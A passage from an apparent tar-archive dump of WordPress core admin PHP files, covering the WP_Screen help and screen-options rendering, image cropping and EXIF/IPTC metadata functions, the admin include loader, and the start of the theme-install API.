set_help_sidebar( $content ) { $this->_help_sidebar = $content; } /** * Gets the number of layout columns the user has selected. * * The layout_columns option controls the max number and default number of * columns. This method returns the number of columns within that range selected * by the user via Screen Options. If no selection has been made, the default * provisioned in layout_columns is returned. If the screen does not support * selecting the number of layout columns, 0 is returned. * * @since 3.4.0 * * @return int Number of columns to display. */ public function get_columns() { return $this->columns; } /** * Render the screen's help section. * * This will trigger the deprecated filters for backwards compatibility. * * @since 3.3.0 */ public function render_screen_meta() { /** * Filter the legacy contextual help list. * * @since 2.7.0 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or * get_current_screen()->remove_help_tab() instead. * * @param array $old_compat_help Old contextual help. * @param WP_Screen $this Current WP_Screen instance. */ self::$_old_compat_help = apply_filters( 'contextual_help_list', self::$_old_compat_help, $this ); $old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : ''; /** * Filter the legacy contextual help text. * * @since 2.7.0 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or * get_current_screen()->remove_help_tab() instead. * * @param string $old_help Help text that appears on the screen. * @param string $screen_id Screen ID. * @param WP_Screen $this Current WP_Screen instance. * */ $old_help = apply_filters( 'contextual_help', $old_help, $this->id, $this ); // Default help only if there is no old-style block of text and no new-style help tabs. if ( empty( $old_help ) && ! $this->get_help_tabs() ) { /** * Filter the default legacy contextual help text. * * @since 2.8.0 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or * get_current_screen()->remove_help_tab() instead. * * @param string $old_help_default Default contextual help text. */ $default_help = apply_filters( 'default_contextual_help', '' ); if ( $default_help ) $old_help = '<p>' . $default_help . '</p>'; } if ( $old_help ) { $this->add_help_tab( array( 'id' => 'old-contextual-help', 'title' => __('Overview'), 'content' => $old_help, ) ); } $help_sidebar = $this->get_help_sidebar(); $help_class = 'hidden'; if ( ! $help_sidebar ) $help_class .= ' no-sidebar'; // Time to render! ?> <div id="screen-meta" class="metabox-prefs"> <div id="contextual-help-wrap" class="<?php echo esc_attr( $help_class ); ?>" tabindex="-1" aria-label="<?php esc_attr_e('Contextual Help Tab'); ?>"> <div id="contextual-help-back"></div> <div id="contextual-help-columns"> <div class="contextual-help-tabs"> <ul> <?php $class = ' class="active"'; foreach ( $this->get_help_tabs() as $tab ) : $link_id = "tab-link-{$tab['id']}"; $panel_id = "tab-panel-{$tab['id']}"; ?> <li id="<?php echo esc_attr( $link_id ); ?>"<?php echo $class; ?>> <a href="<?php echo esc_url( "#$panel_id" ); ?>" aria-controls="<?php echo esc_attr( $panel_id ); ?>"> <?php echo esc_html( $tab['title'] ); ?> </a> </li> <?php $class = ''; endforeach; ?> </ul> </div> <?php if ( $help_sidebar ) : ?> <div class="contextual-help-sidebar"> <?php echo $help_sidebar; ?> </div> <?php endif; ?> <div class="contextual-help-tabs-wrap"> <?php $classes = 'help-tab-content active'; foreach ( $this->get_help_tabs() as $tab ): $panel_id = "tab-panel-{$tab['id']}"; ?> <div id="<?php echo esc_attr( $panel_id ); ?>" class="<?php echo $classes; ?>"> <?php // Print tab content. echo $tab['content']; // If it exists, fire tab callback. if ( ! empty( $tab['callback'] ) ) call_user_func_array( $tab['callback'], array( $this, $tab ) ); ?> </div> <?php $classes = 'help-tab-content'; endforeach; ?> </div> </div> </div> <?php // Setup layout columns /** * Filter the array of screen layout columns. * * This hook provides back-compat for plugins using the back-compat * filter instead of add_screen_option(). * * @since 2.8.0 * * @param array $empty_columns Empty array. * @param string $screen_id Screen ID. * @param WP_Screen $this Current WP_Screen instance. */ $columns = apply_filters( 'screen_layout_columns', array(), $this->id, $this ); if ( ! empty( $columns ) && isset( $columns[ $this->id ] ) ) $this->add_option( 'layout_columns', array('max' => $columns[ $this->id ] ) ); if ( $this->get_option( 'layout_columns' ) ) { $this->columns = (int) get_user_option("screen_layout_$this->id"); if ( ! $this->columns && $this->get_option( 'layout_columns', 'default' ) ) $this->columns = $this->get_option( 'layout_columns', 'default' ); } $GLOBALS[ 'screen_layout_columns' ] = $this->columns; // Set the global for back-compat. // Add screen options if ( $this->show_screen_options() ) $this->render_screen_options(); ?> </div> <?php if ( ! $this->get_help_tabs() && ! $this->show_screen_options() ) return; ?> <div id="screen-meta-links"> <?php if ( $this->get_help_tabs() ) : ?> <div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle"> <a href="#contextual-help-wrap" id="contextual-help-link" class="show-settings" aria-controls="contextual-help-wrap" aria-expanded="false"><?php _e( 'Help' ); ?></a> </div> <?php endif; if ( $this->show_screen_options() ) : ?> <div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle"> <a href="#screen-options-wrap" id="show-settings-link" class="show-settings" aria-controls="screen-options-wrap" aria-expanded="false"><?php _e( 'Screen Options' ); ?></a> </div> <?php endif; ?> </div> <?php } public function show_screen_options() { global $wp_meta_boxes; if ( is_bool( $this->_show_screen_options ) ) return $this->_show_screen_options; $columns = get_column_headers( $this ); $show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' ); switch ( $this->id ) { case 'widgets': $nonce = wp_create_nonce( 'widgets-access' ); $this->_screen_settings = '<p><a id="access-on" href="widgets.php?widgets-access=on&_wpnonce=' . urlencode( $nonce ) . '">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off&_wpnonce=' . urlencode( $nonce ) . '">' . __('Disable accessibility mode') . "</a></p>\n"; break; default: $this->_screen_settings = ''; break; } /** * Filter the screen settings text displayed in the Screen Options tab. * * This filter is currently only used on the Widgets screen to enable * accessibility mode. * * @since 3.0.0 * * @param string $screen_settings Screen settings. * @param WP_Screen $this WP_Screen object. */ $this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this ); if ( $this->_screen_settings || $this->_options ) $show_screen = true; /** * Filter whether to show the Screen Options tab. * * @since 3.2.0 * * @param bool $show_screen Whether to show Screen Options tab. * Default true. * @param WP_Screen $this Current WP_Screen instance. */ $this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this ); return $this->_show_screen_options; } /** * Render the screen options tab. * * @since 3.3.0 */ public function render_screen_options() { global $wp_meta_boxes, $wp_list_table; $columns = get_column_headers( $this ); $hidden = get_hidden_columns( $this ); $post = get_post(); ?> <div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="<?php esc_attr_e('Screen Options Tab'); ?>"> <form id="adv-settings" action="" method="post"> <?php if ( isset( $wp_meta_boxes[ $this->id ] ) || $this->get_option( 'per_page' ) || ( $columns && empty( $columns['_title'] ) ) ) : ?> <h5><?php _e( 'Show on screen' ); ?></h5> <?php endif; if ( isset( $wp_meta_boxes[ $this->id ] ) ) : ?> <div class="metabox-prefs"> <?php meta_box_prefs( $this ); if ( 'dashboard' === $this->id && has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) { if ( isset( $_GET['welcome'] ) ) { $welcome_checked = empty( $_GET['welcome'] ) ? 0 : 1; update_user_meta( get_current_user_id(), 'show_welcome_panel', $welcome_checked ); } else { $welcome_checked = get_user_meta( get_current_user_id(), 'show_welcome_panel', true ); if ( 2 == $welcome_checked && wp_get_current_user()->user_email != get_option( 'admin_email' ) ) $welcome_checked = false; } echo '<label for="wp_welcome_panel-hide">'; echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked( (bool) $welcome_checked, true, false ) . ' />'; echo _x( 'Welcome', 'Welcome panel' ) . "</label>\n"; } ?> <br class="clear" /> </div> <?php endif; if ( $columns ) : if ( ! empty( $columns['_title'] ) ) : ?> <h5><?php echo $columns['_title']; ?></h5> <?php endif; ?> <div class="metabox-prefs"> <?php $special = array('_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname'); foreach ( $columns as $column => $title ) { // Can't hide these for they are special if ( in_array( $column, $special ) ) continue; if ( empty( $title ) ) continue; if ( 'comments' == $column ) $title = __( 'Comments' ); $id = "$column-hide"; echo '<label for="' . $id . '">'; echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked( !in_array($column, $hidden), true, false ) . ' />'; echo "$title</label>\n"; } ?> <br class="clear" /> </div> <?php endif; $this->render_screen_layout(); $this->render_per_page_options(); echo $this->_screen_settings; ?> <div><?php wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false ); ?></div> </form> </div> <?php } /** * Render the option for number of columns on the page * * @since 3.3.0 */ function render_screen_layout() { if ( ! $this->get_option('layout_columns') ) return; $screen_layout_columns = $this->get_columns(); $num = $this->get_option( 'layout_columns', 'max' ); ?> <h5 class="screen-layout"><?php _e('Screen Layout'); ?></h5> <div class='columns-prefs'><?php _e('Number of Columns:'); for ( $i = 1; $i <= $num; ++$i ): ?> <label class="columns-prefs-<?php echo $i; ?>"> <input type='radio' name='screen_columns' value='<?php echo esc_attr( $i ); ?>' <?php checked( $screen_layout_columns, $i ); ?> /> <?php echo esc_html( $i ); ?> </label> <?php endfor; ?> </div> <?php } /** * Render the items per page option * * @since 3.3.0 */ function render_per_page_options() { if ( ! $this->get_option( 'per_page' ) ) return; $per_page_label = $this->get_option( 'per_page', 'label' ); $option = $this->get_option( 'per_page', 'option' ); if ( ! $option ) $option = str_replace( '-', '_', "{$this->id}_per_page" ); $per_page = (int) get_user_option( $option ); if ( empty( $per_page ) || $per_page < 1 ) { $per_page = $this->get_option( 'per_page', 'default' ); if ( ! $per_page ) $per_page = 20; } if ( 'edit_comments_per_page' == $option ) { $comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all'; /** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */ $per_page = apply_filters( 'comments_per_page', $per_page, $comment_status ); } elseif ( 'categories_per_page' == $option ) { /** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */ $per_page = apply_filters( 'edit_categories_per_page', $per_page ); } else { /** This filter is documented in wp-admin/includes/class-wp-list-table.php */ $per_page = apply_filters( $option, $per_page ); } // Back compat if ( isset( $this->post_type ) ) { /** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */ $per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type ); } ?> <div class="screen-options"> <?php if ( $per_page_label ) : ?> <input type="number" step="1" min="1" max="999" class="screen-per-page" name="wp_screen_options[value]" id="<?php echo esc_attr( $option ); ?>" maxlength="3" value="<?php echo esc_attr( $per_page ); ?>" /> <label for="<?php echo esc_attr( $option ); ?>"> <?php echo esc_html( $per_page_label ); ?> </label> <?php endif; echo get_submit_button( __( 'Apply' ), 'button', 'screen-options-apply', false ); ?> <input type='hidden' name='wp_screen_options[option]' value='<?php echo esc_attr($option); ?>' /> </div> <?php } } image.php000077700000044561151514577750006401 0ustar00<?php /** * File contains all the administration image manipulation functions. * * @package WordPress * @subpackage Administration */ /** * Crop an Image to a given size. * * @since 2.1.0 * * @param string|int $src The source file or Attachment ID. * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w The destination width. * @param int $dst_h The destination height. * @param int $src_abs Optional. If the source crop points are absolute. * @param string $dst_file Optional. The destination file to write to. * @return string|WP_Error New filepath on success, WP_Error on failure. */ function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) { $src_file = $src; if ( is_numeric( $src ) ) { // Handle int as attachment ID $src_file = get_attached_file( $src ); if ( ! file_exists( $src_file ) ) { // If the file doesn't exist, attempt a url fopen on the src link. // This can occur with certain file replication plugins. $src = _load_image_to_edit_path( $src, 'full' ); } else { $src = $src_file; } } $editor = wp_get_image_editor( $src ); if ( is_wp_error( $editor ) ) return $editor; $src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs ); if ( is_wp_error( $src ) ) return $src; if ( ! $dst_file ) $dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file ); // The directory containing the original file may no longer exist when // using a replication plugin. wp_mkdir_p( dirname( $dst_file ) ); $dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) ); $result = $editor->save( $dst_file ); if ( is_wp_error( $result ) ) return $result; return $dst_file; } /** * Generate post thumbnail attachment meta data. * * @since 2.1.0 * * @param int $attachment_id Attachment Id to process. * @param string $file Filepath of the Attached image. * @return mixed Metadata for attachment. */ function wp_generate_attachment_metadata( $attachment_id, $file ) { $attachment = get_post( $attachment_id ); $metadata = array(); $support = false; if ( preg_match('!^image/!', get_post_mime_type( $attachment )) && file_is_displayable_image($file) ) { $imagesize = getimagesize( $file ); $metadata['width'] = $imagesize[0]; $metadata['height'] = $imagesize[1]; // Make the file path relative to the upload dir $metadata['file'] = _wp_relative_upload_path($file); // make thumbnails and other intermediate sizes global $_wp_additional_image_sizes; $sizes = array(); foreach ( get_intermediate_image_sizes() as $s ) { $sizes[$s] = array( 'width' => '', 'height' => '', 'crop' => false ); if ( isset( $_wp_additional_image_sizes[$s]['width'] ) ) $sizes[$s]['width'] = intval( $_wp_additional_image_sizes[$s]['width'] ); // For theme-added sizes else $sizes[$s]['width'] = get_option( "{$s}_size_w" ); // For default sizes set in options if ( isset( $_wp_additional_image_sizes[$s]['height'] ) ) $sizes[$s]['height'] = intval( $_wp_additional_image_sizes[$s]['height'] ); // For theme-added sizes else $sizes[$s]['height'] = get_option( "{$s}_size_h" ); // For default sizes set in options if ( isset( $_wp_additional_image_sizes[$s]['crop'] ) ) $sizes[$s]['crop'] = $_wp_additional_image_sizes[$s]['crop']; // For theme-added sizes else $sizes[$s]['crop'] = get_option( "{$s}_crop" ); // For default sizes set in options } /** * Filter the image sizes automatically generated when uploading an image. * * @since 2.9.0 * * @param array $sizes An associative array of image sizes. */ $sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes ); if ( $sizes ) { $editor = wp_get_image_editor( $file ); if ( ! is_wp_error( $editor ) ) $metadata['sizes'] = $editor->multi_resize( $sizes ); } else { $metadata['sizes'] = array(); } // fetch additional metadata from exif/iptc $image_meta = wp_read_image_metadata( $file ); if ( $image_meta ) $metadata['image_meta'] = $image_meta; } elseif ( preg_match( '#^video/#', get_post_mime_type( $attachment ) ) ) { $metadata = wp_read_video_metadata( $file ); $support = current_theme_supports( 'post-thumbnails', 'attachment:video' ) || post_type_supports( 'attachment:video', 'thumbnail' ); } elseif ( preg_match( '#^audio/#', get_post_mime_type( $attachment ) ) ) { $metadata = wp_read_audio_metadata( $file ); $support = current_theme_supports( 'post-thumbnails', 'attachment:audio' ) || post_type_supports( 'attachment:audio', 'thumbnail' ); } if ( $support && ! empty( $metadata['image']['data'] ) ) { // check for existing cover $hash = md5( $metadata['image']['data'] ); $posts = get_posts( array( 'fields' => 'ids', 'post_type' => 'attachment', 'post_mime_type' => $metadata['image']['mime'], 'post_status' => 'inherit', 'posts_per_page' => 1, 'meta_key' => '_cover_hash', 'meta_value' => $hash ) ); $exists = reset( $posts ); if ( ! empty( $exists ) ) { update_post_meta( $attachment_id, '_thumbnail_id', $exists ); } else { $ext = '.jpg'; switch ( $metadata['image']['mime'] ) { case 'image/gif': $ext = '.gif'; break; case 'image/png': $ext = '.png'; break; } $basename = str_replace( '.', '-', basename( $file ) ) . '-image' . $ext; $uploaded = wp_upload_bits( $basename, '', $metadata['image']['data'] ); if ( false === $uploaded['error'] ) { $image_attachment = array( 'post_mime_type' => $metadata['image']['mime'], 'post_type' => 'attachment', 'post_content' => '', ); /** * Filter the parameters for the attachment thumbnail creation. * * @since 3.9.0 * * @param array $image_attachment An array of parameters to create the thumbnail. * @param array $metadata Current attachment metadata. * @param array $uploaded An array containing the thumbnail path and url. */ $image_attachment = apply_filters( 'attachment_thumbnail_args', $image_attachment, $metadata, $uploaded ); $sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded['file'] ); add_post_meta( $sub_attachment_id, '_cover_hash', $hash ); $attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded['file'] ); wp_update_attachment_metadata( $sub_attachment_id, $attach_data ); update_post_meta( $attachment_id, '_thumbnail_id', $sub_attachment_id ); } } } // remove the blob of binary data from the array if ( isset( $metadata['image']['data'] ) ) unset( $metadata['image']['data'] ); /** * Filter the generated attachment meta data. * * @since 2.1.0 * * @param array $metadata An array of attachment meta data. * @param int $attachment_id Current attachment ID. */ return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id ); } /** * Convert a fraction string to a decimal. * * @since 2.5.0 * * @param string $str * @return int|float */ function wp_exif_frac2dec($str) { @list( $n, $d ) = explode( '/', $str ); if ( !empty($d) ) return $n / $d; return $str; } /** * Convert the exif date format to a unix timestamp. * * @since 2.5.0 * * @param string $str * @return int */ function wp_exif_date2ts($str) { @list( $date, $time ) = explode( ' ', trim($str) ); @list( $y, $m, $d ) = explode( ':', $date ); return strtotime( "{$y}-{$m}-{$d} {$time}" ); } /** * Get extended image metadata, exif or iptc as available. * * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso * created_timestamp, focal_length, shutter_speed, and title. * * The IPTC metadata that is retrieved is APP13, credit, byline, created date * and time, caption, copyright, and title. Also includes FNumber, Model, * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime. * * @todo Try other exif libraries if available. * @since 2.5.0 * * @param string $file * @return bool|array False on failure. Image metadata array on success. */ function wp_read_image_metadata( $file ) { if ( ! file_exists( $file ) ) return false; list( , , $sourceImageType ) = getimagesize( $file ); // exif contains a bunch of data we'll probably never need formatted in ways // that are difficult to use. We'll normalize it and just extract the fields // that are likely to be useful. Fractions and numbers are converted to // floats, dates to unix timestamps, and everything else to strings. $meta = array( 'aperture' => 0, 'credit' => '', 'camera' => '', 'caption' => '', 'created_timestamp' => 0, 'copyright' => '', 'focal_length' => 0, 'iso' => 0, 'shutter_speed' => 0, 'title' => '', ); // read iptc first, since it might contain data not available in exif such // as caption, description etc if ( is_callable( 'iptcparse' ) ) { getimagesize( $file, $info ); if ( ! empty( $info['APP13'] ) ) { $iptc = iptcparse( $info['APP13'] ); // headline, "A brief synopsis of the caption." if ( ! empty( $iptc['2#105'][0] ) ) $meta['title'] = trim( $iptc['2#105'][0] ); // title, "Many use the Title field to store the filename of the image, though the field may be used in many ways." elseif ( ! empty( $iptc['2#005'][0] ) ) $meta['title'] = trim( $iptc['2#005'][0] ); if ( ! empty( $iptc['2#120'][0] ) ) { // description / legacy caption $caption = trim( $iptc['2#120'][0] ); if ( empty( $meta['title'] ) ) { // Assume the title is stored in 2:120 if it's short. if ( strlen( $caption ) < 80 ) $meta['title'] = $caption; else $meta['caption'] = $caption; } elseif ( $caption != $meta['title'] ) { $meta['caption'] = $caption; } } if ( ! empty( $iptc['2#110'][0] ) ) // credit $meta['credit'] = trim( $iptc['2#110'][0] ); elseif ( ! empty( $iptc['2#080'][0] ) ) // creator / legacy byline $meta['credit'] = trim( $iptc['2#080'][0] ); if ( ! empty( $iptc['2#055'][0] ) and ! empty( $iptc['2#060'][0] ) ) // created date and time $meta['created_timestamp'] = strtotime( $iptc['2#055'][0] . ' ' . $iptc['2#060'][0] ); if ( ! empty( $iptc['2#116'][0] ) ) // copyright $meta['copyright'] = trim( $iptc['2#116'][0] ); } } /** * Filter the image types to check for exif data. * * @since 2.5.0 * * @param array $image_types Image types to check for exif data. */ if ( is_callable( 'exif_read_data' ) && in_array( $sourceImageType, apply_filters( 'wp_read_image_metadata_types', array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) ) ) ) { $exif = @exif_read_data( $file ); if ( !empty( $exif['Title'] ) ) $meta['title'] = trim( $exif['Title'] ); if ( ! empty( $exif['ImageDescription'] ) ) { if ( empty( $meta['title'] ) && strlen( $exif['ImageDescription'] ) < 80 ) { // Assume the title is stored in ImageDescription $meta['title'] = trim( $exif['ImageDescription'] ); if ( ! empty( $exif['COMPUTED']['UserComment'] ) && trim( $exif['COMPUTED']['UserComment'] ) != $meta['title'] ) $meta['caption'] = trim( $exif['COMPUTED']['UserComment'] ); } elseif ( trim( $exif['ImageDescription'] ) != $meta['title'] ) { $meta['caption'] = trim( $exif['ImageDescription'] ); } } elseif ( ! empty( $exif['Comments'] ) && trim( $exif['Comments'] ) != $meta['title'] ) { $meta['caption'] = trim( $exif['Comments'] ); } if ( ! empty( $exif['Artist'] ) ) $meta['credit'] = trim( $exif['Artist'] ); elseif ( ! empty($exif['Author'] ) ) $meta['credit'] = trim( $exif['Author'] ); if ( ! empty( $exif['Copyright'] ) ) $meta['copyright'] = trim( $exif['Copyright'] ); if ( ! empty($exif['FNumber'] ) ) $meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 ); if ( ! empty($exif['Model'] ) ) $meta['camera'] = trim( $exif['Model'] ); if ( ! empty($exif['DateTimeDigitized'] ) ) $meta['created_timestamp'] = wp_exif_date2ts($exif['DateTimeDigitized'] ); if ( ! empty($exif['FocalLength'] ) ) $meta['focal_length'] = (string) wp_exif_frac2dec( $exif['FocalLength'] ); if ( ! empty($exif['ISOSpeedRatings'] ) ) { $meta['iso'] = is_array( $exif['ISOSpeedRatings'] ) ? reset( $exif['ISOSpeedRatings'] ) : $exif['ISOSpeedRatings']; $meta['iso'] = trim( $meta['iso'] ); } if ( ! empty($exif['ExposureTime'] ) ) $meta['shutter_speed'] = (string) wp_exif_frac2dec( $exif['ExposureTime'] ); } foreach ( array( 'title', 'caption', 'credit', 'copyright', 'camera', 'iso' ) as $key ) { if ( $meta[ $key ] && ! seems_utf8( $meta[ $key ] ) ) $meta[ $key ] = utf8_encode( $meta[ $key ] ); } foreach ( $meta as &$value ) { if ( is_string( $value ) ) { $value = wp_kses_post( $value ); } } /** * Filter the array of meta data read from an image's exif data. * * @since 2.5.0 * * @param array $meta Image meta data. * @param string $file Path to image file. * @param int $sourceImageType Type of image. */ return apply_filters( 'wp_read_image_metadata', $meta, $file, $sourceImageType ); } /** * Validate that file is an image. * * @since 2.5.0 * * @param string $path File path to test if valid image. * @return bool True if valid image, false if not valid image. */ function file_is_valid_image($path) { $size = @getimagesize($path); return !empty($size); } /** * Validate that file is suitable for displaying within a web page. * * @since 2.5.0 * * @param string $path File path to test. * @return bool True if suitable, false if not suitable. */ function file_is_displayable_image($path) { $info = @getimagesize($path); if ( empty($info) ) $result = false; elseif ( !in_array($info[2], array(IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG)) ) // only gif, jpeg and png images can reliably be displayed $result = false; else $result = true; /** * Filter whether the current image is displayable in the browser. * * @since 2.5.0 * * @param bool $result Whether the image can be displayed. Default true. * @param string $path Path to the image. */ return apply_filters( 'file_is_displayable_image', $result, $path ); } /** * Load an image resource for editing. * * @since 2.9.0 * * @param string $attachment_id Attachment ID. * @param string $mime_type Image mime type. * @param string $size Optional. Image size, defaults to 'full'. * @return resource|false The resulting image resource on success, false on failure. */ function load_image_to_edit( $attachment_id, $mime_type, $size = 'full' ) { $filepath = _load_image_to_edit_path( $attachment_id, $size ); if ( empty( $filepath ) ) return false; switch ( $mime_type ) { case 'image/jpeg': $image = imagecreatefromjpeg($filepath); break; case 'image/png': $image = imagecreatefrompng($filepath); break; case 'image/gif': $image = imagecreatefromgif($filepath); break; default: $image = false; break; } if ( is_resource($image) ) { /** * Filter the current image being loaded for editing. * * @since 2.9.0 * * @param resource $image Current image. * @param string $attachment_id Attachment ID. * @param string $size Image size. */ $image = apply_filters( 'load_image_to_edit', $image, $attachment_id, $size ); if ( function_exists('imagealphablending') && function_exists('imagesavealpha') ) { imagealphablending($image, false); imagesavealpha($image, true); } } return $image; } /** * Retrieve the path or url of an attachment's attached file. * * If the attached file is not present on the local filesystem (usually due to replication plugins), * then the url of the file is returned if url fopen is supported. * * @since 3.4.0 * @access private * * @param string $attachment_id Attachment ID. * @param string $size Optional. Image size, defaults to 'full'. * @return string|false File path or url on success, false on failure. */ function _load_image_to_edit_path( $attachment_id, $size = 'full' ) { $filepath = get_attached_file( $attachment_id ); if ( $filepath && file_exists( $filepath ) ) { if ( 'full' != $size && ( $data = image_get_intermediate_size( $attachment_id, $size ) ) ) { /** * Filter the path to the current image. * * The filter is evaluated for all image sizes except 'full'. * * @since 3.1.0 * * @param string $path Path to the current image. * @param string $attachment_id Attachment ID. * @param string $size Size of the image. */ $filepath = apply_filters( 'load_image_to_edit_filesystempath', path_join( dirname( $filepath ), $data['file'] ), $attachment_id, $size ); } } elseif ( function_exists( 'fopen' ) && function_exists( 'ini_get' ) && true == ini_get( 'allow_url_fopen' ) ) { /** * Filter the image URL if not in the local filesystem. * * The filter is only evaluated if fopen is enabled on the server. * * @since 3.1.0 * * @param string $image_url Current image URL. * @param string $attachment_id Attachment ID. * @param string $size Size of the image. */ $filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size ); } /** * Filter the returned path or URL of the current image. * * @since 2.9.0 * * @param string|bool $filepath File path or URL to current image, or false. * @param string $attachment_id Attachment ID. * @param string $size Size of the image. */ return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size ); } /** * Copy an existing image file. * * @since 3.4.0 * @access private * * @param string $attachment_id Attachment ID. * @return string|false New file path on success, false on failure. */ function _copy_image_file( $attachment_id ) { $dst_file = $src_file = get_attached_file( $attachment_id ); if ( ! file_exists( $src_file ) ) $src_file = _load_image_to_edit_path( $attachment_id ); if ( $src_file ) { $dst_file = str_replace( basename( $dst_file ), 'copy-' . basename( $dst_file ), $dst_file ); $dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) ); // The directory containing the original file may no longer exist when // using a replication plugin. wp_mkdir_p( dirname( $dst_file ) ); if ( ! @copy( $src_file, $dst_file ) ) $dst_file = false; } else { $dst_file = false; } return $dst_file; } admin.php000077700000004613151514577750006401 0ustar00<?php /** * Includes all of the WordPress Administration API files. * * @package WordPress * @subpackage Administration */ if ( ! defined('WP_ADMIN') ) { // This file is being included from a file other than wp-admin/admin.php, so // some setup was skipped. Make sure the admin message catalog is loaded since // load_default_textdomain() will not have done so in this context. load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' ); } /** WordPress Bookmark Administration API */ require_once(ABSPATH . 'wp-admin/includes/bookmark.php'); /** WordPress Comment Administration API */ require_once(ABSPATH . 'wp-admin/includes/comment.php'); /** WordPress Administration File API */ require_once(ABSPATH . 'wp-admin/includes/file.php'); /** WordPress Image Administration API */ require_once(ABSPATH . 'wp-admin/includes/image.php'); /** WordPress Media Administration API */ require_once(ABSPATH . 'wp-admin/includes/media.php'); /** WordPress Import Administration API */ require_once(ABSPATH . 'wp-admin/includes/import.php'); /** WordPress Misc Administration API */ require_once(ABSPATH . 'wp-admin/includes/misc.php'); /** WordPress Plugin Administration API */ require_once(ABSPATH . 'wp-admin/includes/plugin.php'); /** WordPress Post Administration API */ require_once(ABSPATH . 'wp-admin/includes/post.php'); /** WordPress Administration Screen API */ require_once(ABSPATH . 'wp-admin/includes/screen.php'); /** WordPress Taxonomy Administration API */ require_once(ABSPATH . 'wp-admin/includes/taxonomy.php'); /** WordPress Template Administration API */ require_once(ABSPATH . 'wp-admin/includes/template.php'); /** WordPress List Table Administration API and base class */ require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table.php'); require_once(ABSPATH . 'wp-admin/includes/list-table.php'); /** WordPress Theme Administration API */ require_once(ABSPATH . 'wp-admin/includes/theme.php'); /** WordPress User Administration API */ require_once(ABSPATH . 'wp-admin/includes/user.php'); /** WordPress Update Administration API */ require_once(ABSPATH . 'wp-admin/includes/update.php'); /** WordPress Deprecated Administration API */ require_once(ABSPATH . 'wp-admin/includes/deprecated.php'); /** WordPress Multisite support API */ if ( is_multisite() ) { require_once(ABSPATH . 'wp-admin/includes/ms.php'); require_once(ABSPATH . 'wp-admin/includes/ms-deprecated.php'); } theme-install.php000077700000014405151514577750010057 0ustar00<?php /** * WordPress Theme Install Administration API * * @package WordPress * @subpackage Administration */ $themes_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array()) ); $theme_field_defaults = array( 'description' => true, 'sections' => false, 'tested' => true, 'requires' => true, 'rating' => true, 'downloaded' => true, 'downloadlink' => true, 'last_updated' => true, 'homepage' => true, 'tags' => true, 'num_ratings' => true ); /** * Retrieve list of WordPress theme features (aka theme tags) * * @since 2.8.0 * * @deprecated since 3.1.0 Use get_theme_feature_list() instead. * * @return array */ function install_themes_feature_list() { _deprecated_function( __FUNCTION__, '3.1', 'get_theme_feature_list()' ); if ( !$cache = get_transient( 'wporg_theme_feature_list' ) ) set_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS ); if ( $cache ) return $cache; $feature_list = themes_api( 'feature_list', array() ); if ( is_wp_error( $feature_list ) ) return array(); set_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS ); return $feature_list; } /** * Display search form for searching themes. * * @since 2.8.0 */ function install_theme_search_form( $type_selector = true ) { $type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term'; $term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : ''; if ( ! $type_selector ) echo '<p class="install-help">' . __( 'Search for themes by keyword.' ) . '</p>'; ?> <form id="search-themes" method="get" action=""> <input 